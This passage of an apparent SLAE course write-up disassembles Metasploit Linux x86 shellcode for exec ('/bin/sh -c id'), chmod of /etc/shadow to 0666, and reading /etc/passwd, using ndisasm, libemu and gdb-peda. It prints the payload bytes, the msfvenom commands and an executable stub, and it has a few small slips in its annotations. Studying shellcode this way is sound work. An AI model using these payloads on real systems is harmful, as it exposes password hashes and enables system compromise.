As we saw at the execve prototype previously, the argv[] argument is a char array which consists the second argument of the execve syscall. As we know so far, the array consists of two elements '/bin/sh' and '-c' and because no more elements will be used it must be terminated with the null value. For that reason the instruction push edx used to provide the null bytes in order to null terminate the array.
Afterwards, the following two instructions will be used in order to provide the first argument of the execve syscall. In detail, the call 0x20 instruction will save the memory address of the next instruction on the stack and it will redirect the execution flow 0x20 ( 32 in decimal ) bytes from the start of the shellcode.
00000018 E803000000 call 0x20 0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
As we see above the memory address pushed on the stack after the call instruction is the 0000001D ( 29 in decimal ). If we look closely at the offset above, we can see in orange colour the bytecodes 6964 followed by the null byte 0x00 in green colour. Using python we can see the ASCII text format of the hex value 0x6964 as shown below
Python 3.7.5 (default, Oct 27 2019, 15:43:29) [GCC 9.2.1 20191022] on linux Type "help", "copyright", "credits" or "license" for more information. >>> bytes.fromhex('6964').decode('utf-8') 'id'
The null byte 0x00 used to terminate the string. Furthermore, as seen previously the call 0x20 instruction redirects the execution flow 32 bytes from the start of the shellcode, as shown with red below
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 00000025 80 db 0x80
if we disassemble the shellcode \x57\x53\x89\xE1\xCD\x80 with ndisasm we will have the following output
root@kali:~/Documents/SLAE/Assignment5# echo -ne "\x57\x53\x89\xE1\xCD\x80" | ndisasm -u - 00000000 57 push edi 00000001 53 push ebx 00000002 89E1 mov ecx,esp 00000004 CD80 int 0x80
The two instructions above push edi and push ebx will push the memory addresses of the two registers edi and ebx on the stack. The registers edi and ebx represent the array elements of the second execve argument. In detail, the push edi register will push the memory address of the edi register on the stack which contains the string "-c" and afterwards the push ebx instruction will push the memory address of the ebx register on the stack which contains the string "/bin/sh". Because the memory address of ebx register is the last one pushed on the stack, the contents of ebx will be located at the top of the stack where the esp register is pointing. Furthermore, the ecx register which refers to the second argument of the execve system call will contain the string "/bin/sh" after the mov ecx, esp instruction executes. Regarding the first argument of execve system call, the memory address that contains the "id" string is already on the stack. Then the execve system call will be executed calling the int 0x80 instruction issuing a software interrupt forcing the kernel to handle the interrupt. The kernel first checks the parameters for correctness, and then copies the register values to kernel memory space and handles the interrupt by referring to the Interrupt Descriptor Table (IDT). When the execve system call is called the following command will be executed
/bin/sh -c id
To summarise, from the exec shellcode analysis the following system call is being used.
execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)
Besides the shelcode analysis with ndisasm and gdb another useful tool called Libemu can be used to perform shellcode analysis. Libemu is a small library written in C and offers basic x86 emulation and shellcode detection and analysis. Instead of going through the instructions we can use Libemu which can provide us with a visual perspective of the execution flow
first we will create the binary with msfvenom as follows
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/exec CMD=id -a x86 --platform=linux -f raw -o linux_exec.bin
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: linux_exec.bin
Then we will use Libemu as follows
root@kali:~/Documents/SLAE/Assignment5# sctest -vvv -Ss 10000 -G linux_exec.dot < linux_exec.bin
graph file linux_exec.dot
verbose = 3
[emu 0x0x2123610 debug ] cpu state eip=0x00417000
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] cpu state eip=0x00417000
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 6A0B push byte 0xb
[emu 0x0x2123610 debug ] cpu state eip=0x00417002
[emu 0x0x2123610 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 58 pop eax
[emu 0x0x2123610 debug ] cpu state eip=0x00417003
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 99 cwd
[emu 0x0x2123610 debug ] cpu state eip=0x00417004
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 52 push edx
[emu 0x0x2123610 debug ] cpu state eip=0x00417005
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 66682D63 push word 0x632d
[emu 0x0x2123610 debug ] cpu state eip=0x00417009
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc8 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E7 mov edi,esp
[emu 0x0x2123610 debug ] cpu state eip=0x0041700b
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc8 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 682F736800 push dword 0x68732f
[emu 0x0x2123610 debug ] cpu state eip=0x00417010
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc4 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 682F62696E push dword 0x6e69622f
[emu 0x0x2123610 debug ] cpu state eip=0x00417015
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x2123610 debug ] esp=0x00416fc0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E3 mov ebx,esp
[emu 0x0x2123610 debug ] cpu state eip=0x00417017
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fc0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 52 push edx
[emu 0x0x2123610 debug ] cpu state eip=0x00417018
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fbc ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] E8 call 0x1
[emu 0x0x2123610 debug ] cpu state eip=0x00417020
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb8 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 57 push edi
[emu 0x0x2123610 debug ] cpu state eip=0x00417021
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb4 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 53 push ebx
[emu 0x0x2123610 debug ] cpu state eip=0x00417022
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00000000 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 89E1 mov ecx,esp
[emu 0x0x2123610 debug ] cpu state eip=0x00417024
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] CD80 int 0x80
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x2123610 debug ] cpu state eip=0x00417026
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
[emu 0x0x2123610 debug ] 0000 add [eax],al
cpu error error accessing 0x00000004 not mapped
stepcount 15
copying vertexes
optimizing graph
vertex 0x21837d0
going forwards from 0x21837d0
-> vertex 0x21839f0
-> vertex 0x2183ae0
-> vertex 0x2183bc0
-> vertex 0x2183db0
-> vertex 0x2184010
-> vertex 0x2184160
-> vertex 0x21842c0
-> vertex 0x21844c0
-> vertex 0x2184680
-> vertex 0x21847d0
-> vertex 0x2184940
-> vertex 0x2184ab0
-> vertex 0x2184c20
copying edges for 0x2184c20
-> 0x2188600
vertex 0x2184d90
going forwards from 0x2184d90
copying edges for 0x2184d90
vertex 0x2184ec0
going forwards from 0x2184ec0
copying edges for 0x2184ec0
[emu 0x0x2123610 debug ] cpu state eip=0x00417028
[emu 0x0x2123610 debug ] eax=0x0000000b ecx=0x00416fb0 edx=0x00000000 ebx=0x00416fc0
[emu 0x0x2123610 debug ] esp=0x00416fb0 ebp=0x00000000 esi=0x00000000 edi=0x00416fc8
[emu 0x0x2123610 debug ] Flags:
int execve (
const char * dateiname = 0x00416fc0 =>
= "/bin/sh";
const char * argv[] = [
= 0x00416fb0 =>
= 0x00416fc0 =>
= "/bin/sh";
= 0x00416fb4 =>
= 0x00416fc8 =>
= "-c";
= 0x00416fb8 =>
= 0x0041701d =>
= "id";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
The interesting part here is the output of the Libemu tool, which in fact produces a pseudo code that helps us to better understand the operation of the analysed shellcode. As you can see with red above, the emulator performs some analysis on the system calls and their parameters, and then presents the analysis in C pseudo-code.
Furthermore we can convert the .dot file to a png in order to see the flow visually.
root@kali:~/Documents/SLAE/Assignment5# dot linux_exec.dot -T png > linux_exec.png
Then the following png image file will be produced which shows the assembly code snippet that correlates with the execve system call
3rd Shellcode analysis - chmod
At this section the chmod shellcode will be analysed. Before we continue the analysis of the payload we will review the information provided from msfconsole.
msf5 > use payload/linux/x86/chmod msf5 payload(linux/x86/chmod) > info Name: Linux Chmod Module: payload/linux/x86/chmod Platform: Linux Arch: x86 Needs Admin: No Total size: 36 Rank: Normal Provided by: kris katterjohn <katterjohn@gmail.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILE /etc/shadow yes Filename to chmod MODE 0666 yes File mode (octal) Description: Runs chmod on specified file with specified mode
The chmod payload changes the file permissions of a file. The following command will be used in order to generate the chmod shellcode. The output will be saved to a file named chmod.c
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/chmod -f c -o chmod.c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 36 bytes Final size of c file: 177 bytes Saved as: chmod.c
Before we continue with the analysis the chmod syscall prototype is being provided as follows
#include <sys/stat.h>
int chmod(const char *pathname, mode_t mode);
As we see above the chmod system call has two arguments, the mode and the pathname. Both these arguments are used to construct the chmod system call that is used to change the permissions of a file. In detail the pathname is a constant char array that holds the path of the file for which the permissions are about to change. Moreover the mode argument is being used in order to be assigned with the octal value that represents the permissions of the file. Furthermore, as seen from the man page of chmod syscall, the file mode consists of the file permission bits plus the set-user-ID, set-group-ID, and sticky bits. The ndisasm tool can be used to disassemble the chmod shellcode.
root@kali:~/Documents/SLAE/Assignment5# echo -ne `cat chmod.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;$//'` | ndisasm -u - 00000000 99 cdq 00000001 6A0F push byte +0xf 00000003 58 pop eax 00000004 52 push edx 00000005 E80C000000 call 0x16 0000000A 2F das 0000000B 657463 gs jz 0x71 0000000E 2F das 0000000F 7368 jnc 0x79 00000011 61 popa 00000012 646F fs outsd 00000014 7700 ja 0x16 00000016 5B pop ebx 00000017 68B6010000 push dword 0x1b6 0000001C 59 pop ecx 0000001D CD80 int 0x80 0000001F 6A01 push byte +0x1 00000021 58 pop eax 00000022 CD80 int 0x80
Furthermore, starting the analysis, the cdq instruction used to zero out the edx register because as mentioned before the cdq extends the sign bit of eax into the edx register. This means that if the sign bit is zero as indicated by the flag SF = 0, then the extension of edx register will be 0x00000000. Later on at the second instruction the 0xf hex value ( 15 in decimal ) pushed on the stack and stored in eax register using the pop eax instruction. Then the edx register which has been assigned the null value will be pushed on the stack using the push edx instruction. As seen in orange colour above the call instruction is being used to redirect the execution flow 0x16 bytes ( 22 in decimal ) from the start of the shellcode and also to push the memory address ( address immediately after the call instruction ) on the stack. After the call instruction and until the 22nd byte from the start of the shellcode we see some instructions that doesn't seem valid. They seem to be disassembled junk but lets examine the bytecodes
0000000A 2F das 0000000B 657463 gs jz 0x71 0000000E 2F das 0000000F 7368 jnc 0x79 00000011 61 popa 00000012 646F fs outsd 00000014 7700 ja 0x16
Using some python scripting we can decode the above bytecodes in ASCII text in order to examine the output
Python 2.7.17 (default, Oct 19 2019, 23:36:22) [GCC 9.2.1 20191008] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> "2F6574632F736861646F7700".decode("hex") '/etc/shadow\x00'
As we see at the output above the bytecodes are translated to '/etc/shadow' which refers to the Linux shadow file that holds the password hashes. Also, we can observe that the string that holds the value of the shadow path is terminated with the null byte '\x00'. Afterwards a stub file will be constructed which will carry the shellcode in order to perform dynamic analysis using gdb-peda that will help us to examine the translation of the bytecodes at runtime. Below is the creation of the shellcode.c stub file
root@kali:~/Documents/SLAE/Assignment5# cat << EOF >> shellcode.c
> #include <stdio.h>
> #include <string.h>
>
> unsigned char shellcode[] = "$(cat chmod.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;$//')";
>
> int main()
> {
> printf("Shellcode Length: %d\n", strlen(shellcode));
> int (*ret)() = (int(*)()) shellcode;
> ret();
> }
> EOF
Now lets compile and run the shellcode.c file as seen below
root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c
Furthermore, we will run the executable file with gdb-peda as follows
root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode
Reading symbols from ./shellcode...
gdb-peda$ b *&shellcode
Breakpoint 1 at 0x4040
gdb-peda$ r
Next as we see from gdb-peda ,the call instruction will redirect the flow at offset 0x404056
0x404045 <shellcode+5>: call 0x404056 <shellcode+22>
0x40404a <shellcode+10>: das
After executing the call instruction, the memory address of the next instruction will be saved on the top of the stack , referring to the "/etc/shadow" string as shown below
[------------------------------------stack-------------------------------------]
0000| 0xbffff4f4 --> 0x40404a ("/etc/shadow")
Also the instruction pointer will point at address 0x404056
EIP: 0x404056 --> 0x1b6685b
From gdb-peda above we can indicate that the address 0x404056 contains the following hex value 0x1b6685b which refers to the bytecodes in reverse order as seen from the ndisasm output in orange below
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
Regarding the ndisasm output , after the execution of the call instruction mentioned earlier, the execution flow will be redirected at offset 00000016
00000016 5B pop ebx
Then the ebx register will be assigned with the '/etc/shadow' string because as we saw before this string was at the top of the stack. From gdb we will have the following output
gdb-peda$ x/s $ebx
0x40404a <shellcode+10>: "/etc/shadow"
The next instruction is being used to push the permissions mode of '/etc/shadow' file
push dword 0x1b6 ; push the permissions mode on the stack
Furthermore, the hex value 0x1b6 which represents the permissions of a file will be saved on the stack. Afterwards, using python the octal representation of the hex value will be as follows
Python 3.8.3 (default, Jul 8 2020, 14:27:55)
[Clang 11.0.3 (clang-1103.0.32.62)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s="1b6"
>>> int(s,16)
438
>>> print(oct(438))
0o666
As we see above the mode bits in octal format will be 666 which indicates the file permissions. The digits 6, 6, and 6 each individually represent the permissions for the user, group, and others, in that order. Each digit is a combination of the numbers 4, 2, 1, and 0:
- 4 stands for "read",
- 2 stands for "write",
- 1 stands for "execute", and
- 0 stands for "no permission."
Number 6 is the combination of permissions 4+2+0 (read, write, and no permission). So the Linux based permissions representation regarding the /etc/shadow file will be as follows rw-rw-rw. Later on, the pop ecx instruction will load the 0x1b6 hex value to the ecx register and then the chmod syscall will be executed using the int 0x80 instruction
pop ecx ; loads the mode bits to ecx register
int 0x80 ; execute chmod
Following, the byte 0x1 is pushed on the stack and stored in eax register.
push byte +0x1 ; pushes the syscal identifier 0x1 on the stack
pop eax ; loads 1 value on the stack
int 0x80 ; executes exit syscall
In unistd_32.h header file the value 1 specifies the exit system call. Also there are no necessary arguments for exit. The software interrupt int 0x80 will execute the exit syscall.
To summarise, from the chmod shellcode analysis the following system call used
chmod("/etc/shadow", 0666)
4th Shellcode analysis - read_file
At this section the read_file shellcode produced from msfvenom will be analysed. Before we proceed with the analysis we will first read the following description from msfconsole
msf5 payload(linux/x86/read_file) > info
Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor
As we see above the read_file shellcode when executed reads up to 4096 bytes from any file provided from the local file system and then it writes the output to another file specified from a file descriptor. Regarding the above description in our case we will read the contents of the /etc/passwd file and we will write to the standard output by using the file descriptor 1. Using the following command the read_file shellcode will be saved into a file called read_file.c
root@kali:~/Documents/SLAE/Assignment5# msfvenom -p linux/x86/read_file PATH=/etc/passwd FD=1 --platform=linux -f c -o read_file.c
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
Saved as: read_file.c
Before we continue with our analysis, we will first create a stub file that will carry our shellcode in order to compile it and run it with gdb-peda
root@kali:~/Documents/SLAE/Assignment5# cat << EOF > shellcode.c
> #include <stdio.h>
> #include <string.h>
>
> unsigned char shellcode[] = "$(cat read_file.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//')";
>
> int main()
> {
> printf("Shellcode Length: %d\n", strlen(shellcode));
> int (*ret)() = (int(*)()) shellcode;
> ret();
> }
> EOF
Then we will compile the shellcode.c file as follows
root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c
Now that we have successfully compiled the shellcode.c the executable file is ready to run with gdb-peda debugger in order to examine the behaviour of the program on runtime.
root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode
Reading symbols from ./shellcode...
gdb-peda$ b *&shellcode
Breakpoint 1 at 0x4040
gdb-peda$ r
In order to see the instructions executed on runtime we can use the si command on gdb-peda as follows
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x404040 --> 0x5b836eb
EBX: 0x404000 --> 0x3efc
ECX: 0x7fffffec
EDX: 0xb7fb0010 --> 0x0
ESI: 0xb7fae000 --> 0x1d6d6c
EDI: 0xb7fae000 --> 0x1d6d6c
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0)
EIP: 0x404078 --> 0xffffc5e8
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40406c <shellcode+44>: mov eax,0x1
0x404071 <shellcode+49>: mov ebx,0x0
0x404076 <shellcode+54>: int 0x80
=> 0x404078 <shellcode+56>: call 0x404042 <shellcode+2>
0x40407d <shellcode+61>: das
0x40407e <shellcode+62>: gs je 0x4040e4
0x404081 <shellcode+65>: das
0x404082 <shellcode+66>: jo 0x4040e5
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff4ec --> 0x4011f9 (<main+80>: mov eax,0x0)
0004| 0xbffff4f0 --> 0x1
0008| 0xbffff4f4 --> 0xbffff5b4 --> 0xbffff701 ("/root/Documents/SLAE/Assignment5/shellcode")
0012| 0xbffff4f8 --> 0xbffff5bc --> 0xbffff72c ("SHELL=/bin/bash")
0016| 0xbffff4fc --> 0x404040 --> 0x5b836eb
0020| 0xbffff500 --> 0xbffff520 --> 0x1
0024| 0xbffff504 --> 0x0
0028| 0xbffff508 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00404078 in shellcode ()
gdb-peda$
The big advantage that gdb-peda has is that every time a command is used it also lists the code, the registers, the flags and the stack giving a whole clear view of the program behaviour without needing any further interaction with the debugger.
Apart from gdb-peda, by using the following command we can isolate the shellcode from read_file.c in order to use it later with ndisasm tool to perform our static analysis.
root@kali:~/Documents/SLAE/Assignment5# cat read_file.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//'
\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00
The following command is used to dissect the read_file shellcode in order to examine the produced disassembled code
root@kali:~/Documents/SLAE/Assignment5# echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00" | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
Starting our analysis, as we see above, the first instruction jmp short 0x38 used to make a short jump at the offset 00000038 where the call 0x2 instruction is located. Then the call instruction will save the memory address of the next instruction on the stack and also it will redirect the execution flow 2 bytes from the beginning of the shellcode and more precisely at offset 00000002 where the mov eax,0x5 instruction is located. After the execution of the call instruction, the execution flow will continue from the offset 00000002 and the esp register will point to the string /etc/passwd as we see from the gdb-peda output below
ESP: 0xbffff4e8 --> 0x40407d ("/etc/passwd")
The same way, if we look closely to the following instructions we can see that there is disassembled junk code after the call instruction.
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 003B add [ebx],bh
Furthermore, we can use some python scripting in order to translate the above bytecodes into ASCII text as follows
root@kali:~/Documents/SLAE/Assignment5# cat path.txt | awk -F" " '{ print $2 }' |sed ':a;N;$!ba;s/\n//g'
2F6574632F706173737764003B
root@kali:~/Documents/SLAE/Assignment5# python
Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "2F6574632F706173737764003B".decode("hex")
'/etc/passwd\x00;'
Then as we see from the python output above, the '/etc/passwd' string has been revealed and it has also been terminated with the null byte '\x00'. Furthermore, after the call instruction returns, the next instruction to be executed is the following
mov eax,0x5 ; move 0x5 open syscall identifier into eax register
As we see from the header file unistd_32.h, the above instruction used to load the open syscall identifier 0x5 to eax register
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5"
#define __NR_open
Before we continue, below is the prototype of the open system call
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
As we see above the open system call takes two arguments, the pathname and the flags. According to the man page, the open system call opens the file specified by pathname. The return value of open system call is a file descriptor, a small, nonnegative integer that is used in subsequent system calls ( read(2), write(2), lseek(2), fcntl(2), etc.). The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read- only, write-only, or read/write, respectively. For more information about the open system call refer the the man page here
Furthermore, the "/etc/passwd" string will be loaded from the stack to the ebx register using the following instruction and that because after the execution of the call instruction, the "/etc/passwd" was saved at the top of the stack
pop ebx ; load /etc/passwd on ebx register
Using gdb-peda we can see that the ebx register contains the following hex values
gdb-peda$ x/12b $ebx
0x40407d <shellcode+61>: 0x2f 0x65 0x74 0x63 0x2f 0x70 0x61 0x73
0x404085 <shellcode+69>: 0x73 0x77 0x64 0x00
With the use of python we can confirm the ASCII text representation of the hex values in orange above which will be the string "/etc/passwd" terminated with the null byte.
Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "2f6574632f70617373776400".decode("hex")
/etc/passwd\x00'
The next instruction will zero out the ecx register which will be used for the second argument of the open system call.
xor ecx, ecx ; zero out ecx register
int 0x80 ; execute the open system call
Because the ecx register used to set the second argument of the open system call, it has been assigned with zero value in order to set the O_RDONLY flag. If we check the fcntl.h header file we will see that the O_RDONLY flag is defined with zeroes.
root@kali:~/Documents/SLAE/Assignment5# grep -i -n "O_RDONLY" /usr/include/asm-generic/fcntl.h
20:#define O_RDONLY 00000000
Moreover, as we know the ecx register has the size of 32bits, the cx register has the size of 16bits, and the lower bytes cl register has the size of 8bits. Moreover, zeroing out the ecx register with xor ecx, ecx instruction the lower 8bits cl register will be assigned with zeros as seen below
ECX
32---------------------------------------------
CX
---------------------16----------------------
CH CL
----------------------8-----------8----------
00000000 00000000 00000000 00000000
+ 00000000 00000000 00000000 00000000
--------------------------------------------- 00000000 00000000 00000000 00000000
O_RDONLY
Then the open system call will be executed using int 0x80 instruction. Moreover, the open system call will be constructed as follows
open("/etc/passwd", O_RDONLY)
Going further with analysis, from ndisasm output we see the following code snippet
0000000C 89C3 mov ebx,eax 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80
The first instruction moves the value stored at eax register into ebx register. Using gdb-peda we will check the returned file descriptor at the time the open syscall executed when initiating the int 0x80 instruction. Then the returned value from open system call will be saved at the eax register which will then be moved to ebx register.
mov ebx,eax ; moves the value of the eax register to the ebx register
From gdb-peda we see that the eax register will be assigned with the hex value 0x3 indicating the file descriptor of the opened file.
gdb-peda$ p $eax $2 = 0x3
The next instruction will move the hex value 0x3 to the eax register
mov eax,0x3 ; move 0x3 hex value to eax register indicating the read system call
The above instruction moves the hex value 0x3 to eax register which indicates the read system call as we see from the unistd_32.h header file below
root@kali:~/Documents/SLAE/Assignment5# grep -i -n "__NR_read " /usr/include/i386-linux-gnu/asm/unistd_32.h 7:#define __NR_read 3
Following is the prototype of the read system call
#include <unistd.h>
ssize_t read(int _fd_ , void _buf_ , size_t _count_ );
As we see at the above prototype, the read system call takes two arguments, the count and the buf. More precisely and according to the man page, the read system call attempts to read up to count bytes from file descriptor fd into the buffer starting at buf. At this point and before we move further with the analysis we should check the Linux system call reference table to see the registers that referring to the read system call arguments. As we see at the table, the ebx register that holds the 0x5 hex value refers to the first argument of the read system call, the ecx register is referring to the second argument and edx register is referring to the third argument.
The ecx register which represents the second argument of the read system call will point at the top of the stack after the execution of the following two instructions mov edi, esp and mov ecx, edi. The second argument indicates the buffer from which the read system call will read the contents.
mov edi,esp ; moves esp to edi mov ecx,edi ; moves edi to esp mov edx,0x1000 ; moves 0x1000 ( 4096 in decimal ) to edx register int 0x80 ; executes the read system call
